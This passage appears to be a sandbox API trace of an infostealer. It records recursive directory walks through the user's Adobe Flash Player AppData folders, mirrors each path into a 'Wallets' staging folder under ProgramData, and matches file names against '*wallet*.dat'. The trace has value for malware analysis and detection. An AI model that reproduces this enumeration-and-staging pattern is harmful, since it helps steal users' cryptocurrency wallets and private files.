lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" [0052.075] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\" [0052.075] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\", lpString2="AssetCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache" [0052.075] lstrcmpW (lpString1="AssetCache", lpString2=".") returned 1 [0052.075] lstrcmpW (lpString1="AssetCache", lpString2="..") returned 1 [0052.075] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0052.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*.*" [0052.076] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a4c0 [0052.077] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0052.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\" [0052.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\." [0052.077] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache" [0052.077] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\" [0052.077] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\." [0052.077] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.077] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.077] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0052.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\" [0052.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\.." [0052.077] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache" [0052.077] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\" [0052.077] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\.." [0052.077] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.077] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.077] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.077] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0052.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\" [0052.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0052.077] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache" [0052.077] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\" [0052.077] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\", lpString2="NAHQNPMN" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0052.077] lstrcmpW (lpString1="NAHQNPMN", lpString2=".") returned 1 [0052.077] lstrcmpW (lpString1="NAHQNPMN", lpString2="..") returned 1 [0052.077] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0052.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*.*" [0052.077] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a240 [0052.078] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0052.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\" [0052.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\." [0052.078] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0052.078] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\" [0052.078] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\." [0052.078] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.078] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.078] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0052.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\" [0052.078] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\.." [0052.078] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0052.078] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\" [0052.078] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\.." [0052.078] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.078] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.078] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.078] FindClose (in: hFindFile=0x58a240 | out: hFindFile=0x58a240) returned 1 [0052.078] PathMatchSpecW (pszFile="NAHQNPMN", pszSpec="*wallet*.dat") returned 0 [0052.078] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.078] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.079] PathMatchSpecW (pszFile="AssetCache", pszSpec="*wallet*.dat") returned 0 [0052.079] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.079] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0052.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\" [0052.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0052.079] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" [0052.079] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\" [0052.079] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\", lpString2="NativeCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache" [0052.079] lstrcmpW (lpString1="NativeCache", lpString2=".") returned 1 [0052.079] lstrcmpW (lpString1="NativeCache", lpString2="..") returned 1 [0052.079] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0052.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*.*" [0052.079] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a240 [0052.079] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0052.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\" [0052.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\." [0052.079] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache" [0052.079] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\" [0052.079] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\." [0052.079] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.079] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.079] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0052.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\" [0052.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\.." [0052.079] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache" [0052.079] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\" [0052.079] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\.." [0052.079] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.079] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.079] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.080] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0052.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\" [0052.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="NativeCache.directory" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" [0052.080] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache") 